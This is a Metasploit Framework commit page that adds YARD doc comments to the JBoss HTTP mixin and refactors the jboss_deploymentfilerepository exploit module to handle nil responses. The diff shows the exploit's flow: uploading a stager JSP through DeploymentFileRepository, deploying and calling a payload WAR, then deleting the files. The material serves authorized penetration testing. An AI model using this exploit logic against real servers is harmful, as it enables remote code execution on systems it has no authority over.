Skip to content

Commit 7125a9f

Browse files
author
us3r777
committed
Added YARD doc to the mixin
Also make a slight correction on jboss_deployementfilerepository.rb to handle nil responses.
1 parent 02d202d commit 7125a9f

File tree

3 files changed

+54
-34
lines changed

3 files changed

+54
-34
lines changed

lib/msf/http/jboss/base.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,10 @@ def http_verb
4747
end
4848

4949

50+
# Try to auto detect the target architecture and platform
51+
#
52+
# @param [String] The available targets
53+
# @return [Msf::Module::Target, nil] The detected target or nil
5054
def auto_target(available_targets)
5155
if http_verb == 'HEAD' then
5256
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
@@ -72,6 +76,9 @@ def auto_target(available_targets)
7276
return java_targets[0]
7377
end
7478

79+
# Query the server information from HtmlAdaptor
80+
#
81+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
7582
def query_serverinfo
7683
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
7784
res = send_request_cgi(
@@ -94,6 +101,8 @@ def query_serverinfo
94101
end
95102

96103
# Try to autodetect the target platform
104+
#
105+
# @return [String, nil] The target platform or nil
97106
def detect_platform(res)
98107
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
99108
os = $1
@@ -110,6 +119,8 @@ def detect_platform(res)
110119
end
111120

112121
# Try to autodetect the target architecture
122+
#
123+
# @return [String, nil] The target architecture or nil
113124
def detect_architecture(res)
114125
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
115126
arch = $1

lib/msf/http/jboss/deployment_file_repository.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,11 @@
33
module Msf::HTTP::JBoss::DeploymentFileRepository
44

55
# Upload a text file with DeploymentFileRepository.store()
6+
#
7+
# @param base_name [String] The destination base name
8+
# @param jsp_name [String] The destanation file name
9+
# @param content [String] The content of the file
10+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
611
def upload_file(base_name, jsp_name, content)
712
params = { }
813
params.compare_by_identity
@@ -35,6 +40,11 @@ def upload_file(base_name, jsp_name, content)
3540
end
3641

3742
# Delete a file with DeploymentFileRepository.remove().
43+
#
44+
# @param folder [String] The destination folder name
45+
# @param name [String] The destination file name
46+
# @param ext [String] The destination file extension
47+
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
3848
def delete_file(folder, name, ext)
3949
params = { }
4050
params.compare_by_identity

modules/exploits/multi/http/jboss_deploymentfilerepository.rb

Lines changed: 33 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -144,45 +144,44 @@ def exploit
144144
end
145145
end
146146

147-
148-
# Call the stager to deploy the payload war file
149147
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
150148
# but the file still gets written.
151-
if (res.code == 200 || res.code == 500)
152-
print_status("Calling stager to deploy the payload warfile (might take some time)")
153-
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
154-
stager_res = deploy('uri' => stager_uri,
155-
'method' => 'GET')
156-
157-
print_status("Try to call the deployed payload")
158-
# Try to execute the payload by calling the deployed WAR file
159-
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
160-
payload_res = deploy('uri' => payload_uri)
161-
162-
#
163-
# DELETE
164-
#
165-
# The WAR can only be removed by physically deleting it, otherwise it
166-
# will get redeployed after a server restart.
167-
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
168-
print_status("This might take some time, be patient...") if http_verb == "HEAD"
169-
delete_res = []
170-
if head_stager_jsp_name
171-
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
172-
end
173-
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
174-
delete_res << delete_file('./', stager_base + '.war', '')
175-
delete_res << delete_file('./', app_base + '.war', '')
176-
delete_res.each do |res|
177-
if !res
178-
print_warning("WARNING: Unable to remove WAR [No Response]")
179-
elsif (res.code < 200 || res.code >= 300)
180-
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
181-
end
149+
unless res && ( res.code == 200 || res.code == 500)
150+
fail_with(Failure::Unknown, "Failed to deploy")
151+
end
152+
153+
print_status("Calling stager to deploy the payload warfile (might take some time)")
154+
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
155+
stager_res = deploy('uri' => stager_uri,
156+
'method' => 'GET')
157+
158+
print_status("Try to call the deployed payload")
159+
# Try to execute the payload by calling the deployed WAR file
160+
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
161+
payload_res = deploy('uri' => payload_uri)
162+
163+
#
164+
# DELETE
165+
#
166+
# The WAR can only be removed by physically deleting it, otherwise it
167+
# will get redeployed after a server restart.
168+
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
169+
print_status("This might take some time, be patient...") if http_verb == "HEAD"
170+
delete_res = []
171+
if head_stager_jsp_name
172+
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
173+
end
174+
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
175+
delete_res << delete_file('./', stager_base + '.war', '')
176+
delete_res << delete_file('./', app_base + '.war', '')
177+
delete_res.each do |res|
178+
if !res
179+
print_warning("WARNING: Unable to remove WAR [No Response]")
180+
elsif (res.code < 200 || res.code >= 300)
181+
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
182182
end
183183

184184
handler
185185
end
186186
end
187-
188187
end

0 commit comments

Comments
 (0)